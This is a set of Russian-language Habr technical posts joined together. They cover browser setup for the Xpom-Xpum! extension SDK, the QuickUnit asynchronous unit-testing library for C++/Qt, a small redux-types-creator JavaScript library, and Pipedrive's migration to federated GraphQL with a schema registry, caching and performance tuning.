#### Что делать, если у вас нет Google Chrome?
Xpom-Xpum! можно использовать с любым браузером на основе Chromium, если он правильно поддерживает установку расширений командной строкой.
Рекомендуется использовать: Comodo Dragon, SRWare Iron, Uran, Яндекс.Браузер.
Чтобы настроить браузер в IDE:
1. Заходите в Запуск -> Настройки запуска.
2. Нажимаете Add Browser To List.
3. Вводите путь к EXE своего браузера (например, C:\Program Files\Browser\chrome.exe). Нажимаете OK.
4. Важно: выбираете этот браузер в списке браузеров в окне Run Settings.
5. Нажимаете OK в окне Run Settings.
#### Настройка IDE
В Xpom-Xpum! SDK можно создать свой тип проекта для окошка Создать проект и настроить подсветку синтаксиса. Об этом — в [документации](http://xpomxpum.codeplex.com/documentation).
Кроме того, исходный код Xpom-Xpum! SDK, написанный на C#, вы можете легко открыть в любой Visual Studio новее 2010 (включая Express), и изменять и компилировать безо всяких ограничений. | https://habr.com/ru/post/252737/ | null | ru | null |
# Асинхронное модульное тестирование для С++
В наше время разработчику уже крайне затруднительно обойти стороной асинхронное взаимодействие между блоками кода. Это и работа с web службами, работа с браузерными движками, и работа с потоками и т.д. и т.п. можно перечислять до бесконечности. И как следствие встает проблема организации модульного тестирования объектов, выполняющих операции асинхронно, а точнее сказать в инструменте, реализующем возможность создания асинхронных тестов.Прежде чем начнем, хочу уточнить, смысл термина «асинхронный тест». Под «асинхронным тестом», понимается такой тест, который мы можем завершить сами из любого потока в любой момент времени, из любой функции.
В качестве вступления хочется заметить, что лично мне довелось увидеть только одну реализацию библиотеки асинхронного тестирования и то, только для Silverlight 3 и 4 (из пакета Silverlight Toolkit).
```
[TestClass]
public class MyTest_test : SilverlightTest
{
[TestMethod]
[Asynchronous]//указываем что тест асинхронный
public void test_AsyncExample()
{
//в фоновом потоке выполняем длительную операцию
Thread cThread =
new Thread( delegate()
{
//какая-то длительная опреация
//указываем что тест пройден!
**EnqueueTestComplete();**
} );
cThread.Start();
}
}
```
Конечно я не занимался масштабными поисками, но беглый осмотр показал, что ничего подобного, кроме как для Silvrlight к сожалению нет, ни для .net Framework нет, ни для native C++. А всякие хитрые решения с блокировками, запусками в фоновых потоках не в счет. Это только усложняет и затягивает процесс тестирования.
И так предлагаемый вашему вниманию инструмент называется [QuickUnit](http://quick-soft.ucoz.com/index/user_manual/0-15), это открытая библиотека, написанная на С++ с использованием QT 4.7 распространяется под лицензией LGPL 2.1. Почему реализована на QT, да потому что её реализация системы метаданных, как нельзя лучше подходит для решения задачи асинхронного тестирования (она мне очень напоминает рефлексию в .net). В будущем планируется реализация для платформ .net и mono.
Прежде чем приступим к рассмотрению самой библиотеки, давайте рассмотрим небольшой пример: представим себе, что нам необходимо написать модульный тест для класса, выполняющего операции в фоновом потоке. Для примера напишем маленький тест для метода QWebView::load(… );, так как результат выполнения данной функции мы получим только через обработку сигнала loadFinished( bool ), Для сравнения сначала напишем «асинхронный» тест с помощью CPPUNIT, а затем с помощью QuickUnit и сравним результат.
###### Рассмотрим тестовый класс, реализованный с помощью CPPUNIT:
```
#ifndef CWEBVIEWTEST_H
#define CWEBVIEWTEST_H
class CWebViewTest : public QObject,
public CPPUNIT_NS::TestFixture
{
Q_OBJECT
public:
CWebViewTest( QObject *parent = 0 );
~CWebViewTest();
CPPUNIT_TEST_SUITE( CWebViewTest );
CPPUNIT_TEST( test_WebView_Load );
CPPUNIT_TEST_SUITE_END();
public:
//подготовка теста
virtual void setUp()
{
m_bPassed = false;
m_pView = new QWebView( 0 );
};
//наводим порядок после прохождения теста
virtual void tearDown()
{
delete m_pView;
};
private:
//тестируемый объект
QWebView * m_pView;
//уведомление о завершении теста
bool m_bPassed;
private:
//тест асинхронного метода
void test_WebView_Load()
{
connect( m_pView,
SIGNAL( loadFinished( bool ) ),
SLOT( slot_load_finished( bool ) ) );
m_pView->load( QUrl("http://www.google.ru") );
/* здесь встает проблема преждевременного завершения теста,
необходимо удержать исполняющий поток
до момента получения сигнала loadFinished( bool )
*/
//один из вариантов удержания (однако излишняя нагрузка на ЦП)
while ( !m_bPassed )
{
QApplication::processEvents( QEventLoop::ExcludeUserInputEvents );
}
}
private slots:
void slot_load_finished( bool bOk )
{
CPPUNIT_ASSERT(bOk);
CPPUNIT_ASSERT( m_pView->page()->totalBytes() > 100 );
m_bPassed = true;//сообщаем о завершении
}
};
#endif // CWEBVIEWTEST_H
```
Главная проблема — это удержать исполняющий поток в тестовой функции, до того момента пока не будет полностью обработан сигнал loadFinished( bool ) в слоте slot\_load\_finished( bool bOk ), и только затем поток можно будет пускать далее. Если не удерживать поток, то по сути тест нельзя считать правильным, так как он с большой долей вероятности завершится преждевременно. Самый простой вариант удержания исполняющего потока, это принудительная обработка сообщений в очереди:
```
//один из вариантов удержания (однако излишняя нагрузка на ЦП)
while ( !m_bPassed )
{
QApplication::processEvents( QEventLoop::ExcludeUserInputEvents );
}
```
однако этот способ трудоемок для процессора, конечно это не смертельно, но не дает понять на этапе тестирования и разработки, как реализуемый вами код в действительности нагружает процессор.
###### Теперь рассмотрим туже задачу, но с использованием QuickUnit:
```
#ifndef ASYNCHRONOUS_TEST_EXAMPLE_H
#define ASYNCHRONOUS_TEST_EXAMPLE_H
#include
#include
class AsynchronousTestExample : public QS\_TestClass
{
Q\_OBJECT
private:
QWebView \* m\_pView;
private slots:
//тестовый слот
void test\_LoadWebPage()
{
QS\_BEGIN\_TEST;
m\_pView = new QWebView( 0 );
connect( m\_pView,
SIGNAL( loadFinished( bool ) ),
SLOT( slot\_loadFinished( bool ) ) );
m\_pView->load( QUrl( "http://custom.site.com" ) );
QS\_END\_TEST;
}//по выходу из функции тест не завершается, поток держать уже не надо!
//посторонний слот (система его вызывать не будет,
//так как он не имеет приставки test\_)
void slot\_loadFinished ( bool ok )
{
QS\_BEGIN\_TEST;
//проверяем результат
QS\_IS\_TRUE( ok );
QS\_IS\_TRUE( m\_pView->page()->totalBytes() > 100 );
QS\_END\_TEST;
QS\_TEST\_COMPLETE;//Указываем, что тест завершен успешно
}
};
#endif //ASYNCHRONOUS\_TEST\_EXAMPLE\_H
```
Как видно из примера декларативная часть тестового класса минимальна. Проблема удержания исчезла, код стал компактнее и понятнее. Но как это всегда бывает за удобства надо платить:
1. Если разработчик забудет указать, что тест надо завершать, система будет ждать вечно (в планы у нас входит timeout для таких случаев, что бы не тормозить процесс тестирования в целом) команды на завершение;
2. Данная библиотека реализована на QT, т.е. перед использованием QuickUnit необходимо сначала установить QT, и если вы используете Visual Studio то и аддон для студии.
**Подведем итоги:**
что мы приобретаем если используем QuickUnit:
1. Нет нужды ломать голову, как удержать поток в тестовой функции;
2. Минимальная декларативная часть тестового класса;
3. Гибкость при построении тестов, для комплексного тестирования много поточных блоков кода;
4. Малый размер библиотеки;
5. Кросс-платформенность.
Недостатки:
1. Привязка к QT;
2. Внимательно писать тесты, не забывать о завершении.
###### Кратко рассмотрим основные требования и возможности QuickUnit.
Сам тестовый класс должен быть наследником QS\_TestClass и классом QT ( объявляется макрос Q\_OBJECT ). Для отделения тестовых слотов от посторонних, первые имеют приставку test\_. Все тестовые слоты выполняются в контексте основного потока, что позволяет использовать GUI классы, COM объекты, одним словом все те классы, которые могут быть созданы только в контексте основного потока приложения.
Тестовые слоты делятся на две категории критические и не критические. Критический тестовый слот – является ключевым для всего тестового класса, если он не прошел проверку, то дальнейшие тестовые слоты выполняться не будут, управление будут передано следующему тестовому классу. Для указания системе факта завершения теста, используется макрос QS\_TEST\_COMPLETE;. Благодаря такому подходу можно без труда реализовать тестирование любого асинхронного алгоритма.
Тестовые слоты имеют набор атрибутов. Задача атрибута – указать системе, что слот должен выполняться с некоторыми особенностями. Для минимизации на декларирование, атрибуты включаются в наименование самого тестового слота, к примеру:
```
#ifndef ATTRIBUTE_USAGE_EXAMPLE_H
#define ATTRIBUTE_USAGE_EXAMPLE_H
#include
class AttributeUsageExample : public QS\_TestClass
{
Q\_OBJECT
private slots:
void test\_myTest\_Fatal()
{
QS\_BEGIN\_TEST;
//реализуем логику тестирования
QS\_END\_TEST;
QS\_TEST\_COMPLETE;
}
void test\_myTest\_Repeat\_15()
{
QS\_BEGIN\_TEST;
//реализуем логику тестирования
QS\_END\_TEST;
QS\_TEST\_COMPLETE;
}
void test\_myTest\_Fatal\_Repeat\_15()
{
QS\_BEGIN\_TEST;
//реализуем логику тестирования
QS\_END\_TEST;
QS\_TEST\_COMPLETE;
}
};
#endif //ATTRIBUTE\_USAGE\_EXAMPLE\_H
```
В текущей версии реализовано пока только два атрибута \_Fatal и \_Repeat\_N. Первый указывает, что слот является критическим, а второй указывает, что слот надо повторно взывать N раз подряд. По умолчанию тестовый слот не критичен и выполняется только один раз. Макросы QS\_BEGIN\_TEST и QS\_END\_TEST это блок try catch в случае перехвата исключения тестовый слот будет прерван, и зафиксирован, как не прошедший проверку. Так же имеется группа проверочных макросов с ними можно ознакомиться в руководстве разработчика. После описания тестового класса его остается только зарегистрировать. Регистрацию рекомендуется реализовывать в main.cpp
Quick Unit подходит не только для тестирования под QT, но так же полностью совместим с WIN32, ATL, MFC. По результатам тестирования в консоль выводится отчет о пройденных тестах, с указанием причин и точек возникновения ошибок, в отчет так же включено время выполнения тестового слота, класса.
Мы искренне надеемся, что QuickUnit поможет в решении ваших задач. Все предложения и замечания можно и нужно оставлять [здесь](http://quick-soft.ucoz.com/forum/4). | https://habr.com/ru/post/128543/ | null | ru | null |
# Простейший генератор redux types для асинхронных запросов
Для того, чтобы немного сократить шаблонный код при использовании Redux, в голову пришла идея написать максимально простую библиотеку для генерации типов асинхронных запросов.
Сама библиотека [здесь](https://github.com/shadowwzw/redux-types-creator). Что такое типы для асинхронных запросов можно почитать [здесь](http://redux.js.org/docs/advanced/AsyncActions.html).
Например, вместо того чтобы писать так:
```
const CREATE_ITEMS = "CREATE_ITEMS";
const CREATE_ITEMS_START = "CREATE_ITEMS_START";
const CREATE_ITEMS_FINISH = "CREATE_ITEMS_FINISH";
const CREATE_ITEMS_ERROR = "CREATE_ITEMS_ERROR";
const GET_ITEMS = "GET_ITEMS";
const GET_ITEMS_START = "GET_ITEMS_START";
const GET_ITEMS_FINISH = "GET_ITEMS_FINISH";
const GET_ITEMS_ERROR = "GET_ITEMS_ERROR";
const DELETE_ITEMS = "DELETE_ITEMS";
const DELETE_ITEMS_START = "DELETE_ITEMS_START";
const DELETE_ITEMS_FINISH = "DELETE_ITEMS_FINISH";
const DELETE_ITEMS_ERROR = "DELETE_ITEMS_ERROR";
```
Можно писать так:
```
import reduxTypesCreator from "redux-types-creator";
const actionTypes = reduxTypesCreator(true) // true - object will be frozen.
('START', 'FINISH', 'ERROR') // postfix
('CREATE_ITEMS', 'GET_ITEMS', 'DELETE_ITEMS'); // types
console.log(actionTypes); // на выводе получим вот это
/*
{
CREATE_ITEMS: {
START: 'CREATE_ITEMS_START',
FINISH: 'CREATE_ITEMS_FINISH',
ERROR: 'CREATE_ITEMS_ERROR',
SELF: 'CREATE_ITEMS'
},
GET_ITEMS: {
START: 'GET_ITEMS_START',
FINISH: 'GET_ITEMS_FINISH',
ERROR: 'GET_ITEMS_ERROR',
SELF: 'GET_ITEMS'
},
DELETE_ITEMS: {
START: 'DELETE_ITEMS_START',
FINISH: 'DELETE_ITEMS_FINISH',
ERROR: 'DELETE_ITEMS_ERROR',
SELF: 'DELETE_ITEMS'
}
}
*/
// Создаем константы.
const { CREATE_ITEMS, GET_ITEMS, DELETE_ITEMS } = actionTypes;
CREATE_ITEMS.SELF // CREATE_ITEMS
CREATE_ITEMS.START // CREATE_ITEMS_START
CREATE_ITEMS.FINISH // CREATE_ITEMS_FINISH
CREATE_ITEMS.ERROR // CREATE_ITEMS_ERROR
// Пример использования в action creator
getItems = () => ({
type: CREATE_ITEMS.SELF
})
```
Данная библиотека, как вы уже заметили, использует прием из функционального программирования [Partial Application](https://github.com/shadowwzw/functional-programming-jargon#partial-application).
Можно заметить, что количество строк уменьшилось с 12 до 5… и это только на три типа. Мне показалось, что это гораздо удобнее и что это чуток увеличивает скорость разработки…
Пример использования в [сагах](https://github.com/redux-saga/redux-saga) (Пример исключительно учебный!):
```
import reduxTypesCreator from "redux-types-creator";
import { takeEvery, put } from 'redux-saga/effects';
const actionTypes = reduxTypesCreator(true) // true - object will be frozen.
('START', 'FINISH', 'ERROR') // postfix
('GET_REDDITS'); // types
const { GET_REDDITS } = actionTypes;
const getReddits = ({after, count } = {after: null, count: 0}) => ({
type: GET_REDDITS.SELF,
after,
count,
});
const getRedditsFetch = function* (action){
const { after, count } = action;
yield put({ type: GET_REDDITS.START });
try {
const url = `https://www.reddit.com/blablabla/.../`; // Где то здесь используется after, count
const result = yield fetch(url);
const json = yield result.json();
yield put({ type: GET_REDDITS.FINISH, data: json.data.children, after: json.data.after });
} catch (e) {
yield put({ type: GET_REDDITS.ERROR, error: e.message });
}
};
export const getRedditsSaga = function* () {
yield takeEvery(GET_REDDITS.SELF, getRedditsFetch)
};
```
Простейший пример использования этой библиотеки можно посмотреть вот [здесь](https://github.com/shadowwzw/react-native-redux-saga) и [здесь](https://github.com/shadowwzw/react-native-reddit-demo).
Вполне возможно, что таких библиотек много, но мне нравиться именно такая реализация. Возможно где, то есть ошибки в примерах т.к. я торопился… Пишите в комментариях свои замечания и ваше мнение… | https://habr.com/ru/post/334408/ | null | ru | null |
# Путь к Федеративному GraphQL
Картинка с dgraph.ioПрограммисты любят хорошие истории, поэтому надеюсь что пятилетний путь к композитному API с помощью GraphQL в боевой среде (на пике выдающей 110 запросов в секунду при 100мс задержке) будет интересен.
[Если вы спешите, проскрольте ниже к *урокам* и гляньте на открытый код [graphql-schema-registry](https://github.com/pipedrive/graphql-schema-registry)]
schema registry с примером тестовой схемыЗадача
------
Годами, [Pipedrive](https://www.pipedrive.com/) (которому в начале 2020 стукнуло уже 10 лет), давал публичный [REST API](https://developers.pipedrive.com/docs/api/v1/) где были и недокументированные пути для нашего веб приложения. Один из них /users/self, который изначально задумывался для загрузки информации о пользователе, нормально с течением времени стал грузить все что надо для первой загрузки страницы, доходя до 30 разных типов сущностей. Сам он выдавался PHP монолитом, который по натуре синхронный. Мы [пытались его распараллелить](https://medium.com/pipedrive-engineering/how-two-developers-accelerated-php-monolith-in-pipedrive-df8a18bc2d8a), но неудачно.
/users/self распределение задержки для оставшегося траффикаС точки зрения поддержки, каждое новое изменение все больше усложняло код и никто не хотел владеть этой огромной функцией.
Прототип с прямым доступом к БД
-------------------------------
Давайте вернемся назад в прошлое, когда наши разработчики стали экспериментировать с graphql.
Года 3-4 назад, в команде разработки [рынка приложений](https://marketplace.pipedrive.com/), я услышал от [Паши](https://twitter.com/bashmach), нашего фулл-стек разработчика новенькие для меня термины - [elixir](https://elixir-lang.org/) и graphql. Он участвовал в тестовом проекте в котором напрямую работал с MySQL и выдавал основные сущности Pipedrive по /graphql.
На локальной машине работало прекрасно, но это не масштабировалось на весь код, потому что функционал - не обычный CRUD, а весь монолит переписывать никто не хотел.
Прототип со склейкой
--------------------
Переносимся в 2019, когда я заметил еще один тестовый репозиторий от другого коллеги, который стал использовать GraphQL stitching с определением сущностей с помощью [graphql-compose](https://github.com/graphql-compose/graphql-compose) и резолверами которые делали запрос уже к нашему REST API. Как можете представить, это уже было значительным улучшением, потому что нам не надо было переопределять всю бизнес-логику и graphql становился просто приятной оберткой.
Из недостатков этого решения:
* **Производительность**. Небыло [dataloader](https://github.com/graphql/dataloader)'а, поэтому был риск N+1 сетевых запросов. Небыло ограничения сложности запроса и какого-либо промежуточного кеширования.
* **Управление схемой**. При склейке типов, мы определяли все сущности в одном репозитории, отдельно от самих сервисов которые этими даннами владеют. Это усложняло деплой - приходилось бы писать обратно-совместимые изменения, что-бы избегать несовпадения схемы и функций.
Подготовка
----------
В Октябре 2019, я стал готовиться к [миссии](https://www.youtube.com/watch?v=ekKp-tA0A9k), которая превратила бы прошлое решение в рабочее с помощью Apollo федерации, которая [вышла чуть ранее](https://www.apollographql.com/blog/apollo-federation-f260cf525d21/) в этом же году. Кроме того, результат приземлился бы в команде *Core*, которая стала бы поддерживать его в долгосрочной перспективе.
Сбор ожиданий разработчиков
---------------------------
В компании некоторые разработчики были довольно скептичны и предлагали построить свое решение просто склеивая запросы воедино, отправляя по POST и надеясь на свой gateway который будет распараллеливать обработку.
Другие считали что graphql еще слишком сырой что-бы использовать в жизни и лучше подождать. Третьи предлагали рассмотреть альтернативы, типа Protobuf и Thrift, а в качестве транспорта рассмотреть [GRPC](https://grpc.io/), [OData](https://www.odata.org/).
Четвертые напротив, на полном ходу писали graphql под одиночные сервисы (insights, teams) и выкатывали в лайв, однако не могли повторно использовать сущности (например User). В [Праге](https://www.pipedrive.com/en/jobs/czech-republic) ребята написали все на typescript + [relay](https://relay.dev/) на фронтенде, который нам еще предстоит [перенести в федерацию](https://github.com/apollographql/apollo-server/issues/3159).
Изучать новую технологию было круто.
Строгий, само-документирующийся API для фронтендеров? Глобально определяемые сущности уменьшающие дублирование и улучшающие прозрачность и владение среди всех команд? Gateway который автоматом делает под-запросы и между сервисами без избыточной выборки? Ухх.
Впрочем, я знал что нам понадобится управлять схемой как-то динамически, что-бы не полагаться на захардкоженые значения и видеть что происходит. Нечно типа [Confluent’s schema-registry](https://docs.confluent.io/current/schema-registry/index.html) или [Atlassian’s Braid](https://bitbucket.org/atlassian/graphql-braid/src/master/), но они либо под Кафку делались, либо на Java, которую мы не хотели поддерживать.
План
----
Я выступил с инженерной миссией у которой было 3 цели:
* Уменьшение первичной загрузки страницы (*воронка продаж*) на 15%. Достижимо если заменить некоторые REST запросы в один /graphql
* Уменьшение траффика на 30%. Достижимо если перенести загрузку всех *сделок для воронки продаж* в graphql и спрашивать меньше свойств.
* Использовать строгую типизацию (что-бы фронтендерам надо было писать меньше кода в [защитном стиля](https://en.wikipedia.org/wiki/Defensive_programming))
Мне повезло, [трое разработчиков](https://github.com/pipedrive/graphql-schema-registry#honorable-mentions) присоединились к миссии, в т.ч. автор прототипа.
Сетевые запросы по мере загрузки веб-приложенияИзначальный план по сервисам выглядел так:
Сервисы над которыми предстояло бы работатьТут schema-registry был бы общим сервисом, который мог бы хранить схему любого типа, получая на входе что вы в него кинете (swagger, typescript, graphql, avro, proto). На выходе он мог бы так же выдавать что вы хотите.
Gateway периодически опрашивал бы schema-registry и вызывал бы уже сервисы которые владеют данными согласно запросу и схеме. В свою очередь frontend компоненты могли бы скачивать актуальную схему для autocomplete и самих запросов.
На деле впрочем, мы сделали только поддержку graphql формата, потому что для федерации его было достаточно, а время как обычно быстро закончилось.
Итоги
-----
Главную цель по замене /users/self в веб-приложении мы сделали в течение первых двух недель ? (ничоси!). А вот полировка всего решения что-бы оно быстро и надежно работало, заняло все оставшееся время.
К концу миссии (в феврале 2020), мы каким-то чудом достигли 13% ускорения первой загрузки страницы и 25% ускорения при повторной загрузке (из-за добавленного кеширования), согласно синтетическому UI тесту который мы гоняли на [Datadog](https://www.datadoghq.com/).
Уменьшить трафик нам не удалось, потому что мы не достигли рефакторинга вида воронки продаж - там все еще REST.
Что-бы ускорить добавление сервисов в федерацию другими командами (у нас 600+ человек), мы записали обучающие видео что-бы все были в курсе как оно все работает вместе. После окончания миссии IOS- и Android- клиенты тоже мигрировали на graphql и в целом были рады.
Выученные уроки
---------------
Глядя на дневник миссии из этих 60 дней, могу выделить наибольшие трудности что-бы вам было бы попроще
Управляйте своей схемой
-----------------------
> *Могли бы мы построить это сами? Возможно, но это не было бы так отполировано.*[*Mark Stuart, Paypal Engineering*](https://medium.com/paypal-engineering/scaling-graphql-at-paypal-b5b5ac098810)
>
>
В течение первых пары дней я попробовал [Apollo studio](https://studio.apollographql.com/) и их [инструментарий](https://www.apollographql.com/docs/studio/schema-checks/#the-check-process) для терминала по проверке схемы. Сервис прекрасный и работает из коробки с минимальными настройками gateway.
Написанный нами инструментарий для валидации схемыОднако несмотря на все фишки этого облачного сервиса, я посчитал что для такого важного дела как маршрутизация траффика было бы опрометчиво полагаться на сторонний сервис из-за рисков для жизнеспособности нашего дела, несмотря на богатый функционал и сколько-то выгодные расценки. Поэтому мы написали свой сервис с минимально нужным функционалом и теперь отправили его в opensource - [**graphql-schema-registry**](https://github.com/pipedrive/graphql-schema-registry).
Вторая причина была в том что-бы следовать модели [распределенной архитектруры датацентров](https://medium.com/pipedrive-engineering/tanker-the-story-of-multi-dc-customer-data-migration-framework-ad842c2c6b9c) Pipedrive. У нас нет центрального датацентра, каждый DC самодостаточен. Это дает нам как более высокую надежность, так и способность открывать новые датацентры в Китае, России, Иране или на Марсе ?
Версионируйте свою схему
------------------------
Федеративная схема и graphql gateway очень хрупкие. Если у вас появится конфликт имен у типов или неверная ссылка между типами в одном из сервисов, то gateway может этого не пережить.
По умолчанию, gateway напрямую [опрашивает все сервисы](https://www.apollographql.com/docs/apollo-server/federation/introduction/#gateway-example) касательно их схемы, поэтому достаточно одного из сервисов с ошибкой что-бы поломать всем трафик. Apollo studio решает это посредством проверки схемы еще до деплоя и отказе если видит какой-то конфликт.
Проверка совместимости схем правильный подход, но конкретное решение у Apollo зависит от их внутреннего состояния, т.к. они хранят правильную склеенную схему на данный момент. Это делает [протокол регистрации](https://www.apollographql.com/docs/studio/schema/schema-reporting-protocol/#protocol-sequence) сложным и [зависящим от времени](https://www.apollographql.com/docs/studio/schema/schema-reporting/#rolling-deploys-with-schema-reporting).
Мы же напротив, связали версии микросервисов (генерируемые на основе хешей докер-образов) со схемой. Микросервисы регистрируют уже в ходе своей работы и делают это один раз без [последующих повторений](https://www.apollographql.com/docs/studio/schema/schema-reporting/#rolling-deploys-with-schema-reporting). Gateway делает выборку всех федерированных сервисов из [консула](https://www.consul.io/) и спрашивает schema-registry составить схему /schema/compose , предоставляя их версии.
Если schema-registry видит что предоставленные версии несовместимы, она откатывается на прошлые версии
Регистрация схемы при старте сервисаМикросервисы могут выдавать как REST так и Graphql API, поэтому мы используем оповещения тревоги при неудачной регистрации схемы, оставляя при этом работу REST.
Определение схемы на основе REST не просто
------------------------------------------
Поскольку я не знал как лучше перенести схему из нашего REST в graphql, я сначала попробовал [openapi-to-graphql](https://github.com/IBM/openapi-to-graphql), нормально наша документация на тот момент не имела детального описания запросов и ответов.
Спрашивать у каждой команды что-бы они написали бы ее, очевидно заняло бы уйму времени, поэтому мы определили основные сущности сами ? просто глядя на ответ при разных REST запросах.
В дальнейшем это нам аукнулось, так как оказалось что REST API иногда зависит от того кто делает запрос, либо зависит от внутреннего состояния и логики.
Например после настраиваемые *поля данных* меняют REST API в зависимости от пользователя. Если его добавить к сделке, то он оно будет выдаваться с ключем-хешем на уровне deal.pipeline\_id. С федеративным graphql, динамическая схема невозможно, поэтому нам пришлось передвигать эти настраиваемые поля в отдельный список
Другая проблема это стиль наименований в json-ответе. Мы хотели поддерживать верблюжийСтиль, но почти весь REST отвечал нам в змеином\_стиле, пришлось пока остаться на смешанном.
федеративный граф данных Pipedrive (слева) с 2 сервисами (из 539) и еще-не-федеративный граф сервиса leads (справа)CQRS и кеш
----------
Модель данных в Pipedrive не может полагаться на простой TTL-кеш.
Например, когда инженер поддержки создает глобальное оповещение о предстоящем техническом обслуживании приложения из нашей админки, он ожидает что сообщение будет сразу же видно пользователям. Эти глобальные оповещения могут быть адресованы как всем пользователям, так и конкретным компаниям и индивидуальным людям. Чистить такой кеш приходится используя 3 разных ключа.
Что-бы делать параллельные запросы к PHP-монолиту, мы написали сервис на nodejs (назвали его monograph), который кеширует все что отвечает монолит в memcached. Этот кеш надо чистить из монолита в зависимости от бизнес-логики. Это немного антипаттерн, потому что кеш получается общим для разных сервисов и сильно их связывает.
Тут можно заметить [CQRS pattern](https://martinfowler.com/bliki/CQRS.html). Впрочем, такой кеш позволяет ускорять 80% запросов и дает итоговую среднюю задержку такую же как и у монолита.
Время средней задержки ответа монолита (слева) и graphql gateway (справа) в регионе US на основе NewRelicЕще одна сложность - язык пользователя. Как только он меняется, нам надо чистить уйму разных сущностей - от типов активности до того какие настройки должны быть при показе гугл карт. И что еще хуже - язык уже управляется не в монолите, а был вынесен в отдельный сервис *identity*. Связывать его с общим кешем очень не хотелось.
Identity владеет данными пользователей, поэтому мы сделали так что он кидает событие через kafka, которое ловит monograph и чистит все нужные кеши. Тут есть недостаток, что событие приходит с задержкой (может максимум 1 сек), поэтому чистка кеша происходит не мгновенно. Нормально это не критично, потому что пользователь не так быстро уходит со страницы что-бы сделать повторный запрос к бекенду и заметить что в кешах еще старый язык.
Следите за производительностью
------------------------------
Производительность была главной целью и для этого нам пришлось хорошо прокачаться в знании APM и выслеживании распределенных запросов между микросервисами что-бы определить самые медленные места. Мы на тот момент использовали Datadog и он хорошо себя зарекомендовал.
Для ускорения, мы кешировали все 30 параллельных запросов в memcached. Но по ходу дела возникали проблемы. Например на картинке слева видно что некоторые резолверы делают запрос в memcached и получают ответ за 10мс, а другие тупят, словно жду своей очереди выростая до 220мс. Как оказалось, это было из-за того что я использовал один и тот же хост [mcrouter](https://github.com/facebook/mcrouter). Как только я стал их ротировать, мемкеш стал отдавать все за 20мс максимум.
Что-бы уменьшить количество этих сетевых запросов к мемкешу, мы склеили его в один используя [getMulti](https://github.com/3rd-Eden/memcached#public-methods) функцию. Получается что несмотря на то что все resolver'ы выполняются независимо, они блочатся на 5мс с помощью debounce и склеиваются воедино.
На картинке справа видна другая проблема. Эти желтые линии это налог graphql gateway на приведение данных к строгому типу. Причем чем больше данных вы гоняете через сервис, тем дольше будет эта фаза выполнятся.
Вобщем по ходу миссии постоянно приходилось мониторить какие же запросы нам надо еще закешировать и под конец стало бесить что скажем 28 из 30 запросов прекрасно кешируются, а оставшиеся два мало того что отвечают целых 500мс, так их еще и невозможно легко закешировать.
Нам пришлось вынести их в отдельный graphql запрос, который делается после первого /graphql запроса на инициализацю страницы. Так что сейчас мы на деле делаем уже порядка 3-5 независимых запросов, в зависимости от тайминга фронтенда (там тоже debounce зависящий от параллельной подгрузки FE компонентов)
Не следите за производительностью
---------------------------------
Казалось бы полностью противоположный урок, но на деле это значит что в лайв-среде вам лучше отключить мониторинг приложения (APM) и [tracing:true](https://www.apollographql.com/docs/apollo-server/api/apollo-server/#apolloserver), если вы используете их.
Отключение отслеживания у нас ускорило среднюю задержку в два раза с 700мс до 300мс для нашей тестовой компании. Насколько я понимаю, причина крылась в функциях которые замеряют время (типа performance.now()), которые необходимы для замера каждого резолвера.
Мы делали профайлинг graphql gateway с помощью [Chrome DevTools](https://medium.com/@paul_irish/debugging-node-js-nightlies-with-chrome-devtools-7c4a1b95ae27), но так просто вызов этих мелких функций, раскиданных повсюду не заметишь.
[Бен тут](https://www.youtube.com/watch?v=VnG7ej56lWw) делал замеры и тоже пришел к этому.
Попробуйте ранний запрос
------------------------
На фронтенде, время создания graphql запроса для нас оказалось сложновато. Я хотел передвинуть первый /graphql как можно раньше (даже до загрузки всего кода в vendors.js) в графике сетевых запросов. Мы смогли это сделать, но веб-приложение из-за этого стало значительно сложней.
Что-бы делать запрос вам понадобится [graphql клиент](https://github.com/apollographql/apollo-client) и парсинг [gql литералов](https://github.com/apollographql/graphql-tag) для определения самого запроса. Дальше его надо либо выдавать в отдельном bundle, либо отказываться от всех удобств и использовтать сырой [fetch](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch). Даже если делать сырой запрос, дальше надо что-то делать с ответом - распределять данные по моделям либо сохранять в глобальную переменную. Вобщем мы решили отказаться от этого и надеяться на server-side-rendering и [service workers](https://medium.com/samsung-internet-dev/a-beginners-guide-to-service-workers-f76abf1960f6) в будущем.
Перенос /graphql запроса левейОценивайте сложность запроса
----------------------------
Чем graphql примечателен, так это то что тут можно оценивать насколько больно запрос клиента будет бить по инфраструктуре не делая при этом еще никакой работы. Для оценки сложности надо указывать цену внутри самой схемы с помощью директив, а дальше делать саму проверку при получении запроса и отклонять его если сложность слишком велика, подобно нашему [rate limit](https://pipedrive.readme.io/docs/core-api-concepts-rate-limiting) на частоту запросов.
Сначала мы попробовали [graphql-cost-analysis](https://github.com/pa-bru/graphql-cost-analysis) библиотеку, но в итоге написали свою, поскольку захотели больше фич - множителях при выдаче списков данных, вложенности и рекурсии, а так же определении типов влияния на инфраструктуру (сетевой запрос, БД, CPU, работа с файлами). Тут сложней всего оказалось внедрять поддержку своей директивы в gateway и schema-registry. Надеюсь мы нашу библиотеку тоже опубликуем.
У схемы много лиц
-----------------
Работать со схемой в js/typescript на низком уровне порой мучительно. Это начинаешь понимать когда пробуешь интегрировать существующий graphql сервис в федерацию.
Например настройки [koa-graphql](https://github.com/graphql-community/koa-graphql#options) и [apollo-server-koa](https://www.apollographql.com/docs/apollo-server/v1/servers/koa/) ожидают что вы создадите вложенный объект [**GraphQLSchema**](https://github.com/graphql/graphql-js#using-graphqljs) который включает и сами резолверы. Но федеративный apollo/server [хочет схему и резолверы отдельно](https://www.apollographql.com/docs/apollo-server/federation/implementing-services/#generating-a-federated-schema):
```
buildFederatedSchema([{typeDefs, resolvers}])
```
В другом случае, как я уже писал, вам захочется определить схему с помощью [gql литерала](https://github.com/apollographql/graphql-tag), или сохранить схему в schema.graphql файл, а когда вам надо будетделать проход по всей схеме для оценки сложности, понадобится [ASTNode](https://github.com/graphql/graphql-js/blob/master/src/language/ast.js) (и функции [parse](https://github.com/graphql/graphql-js/blob/d4c82e0849318d045107321c6655c1a5da37b798/src/language/parser.d.ts#L58) / [buildASTSchema](https://github.com/graphql/graphql-js/blob/dd0297302800347a20a192624ba6373ee86836a3/src/utilities/buildASTSchema.js#L121))
Плавная canary деплой
---------------------
Во время миссии мы выкатывали изменения сначала всем разработчикам что-бы отследить очевидные ошибки.
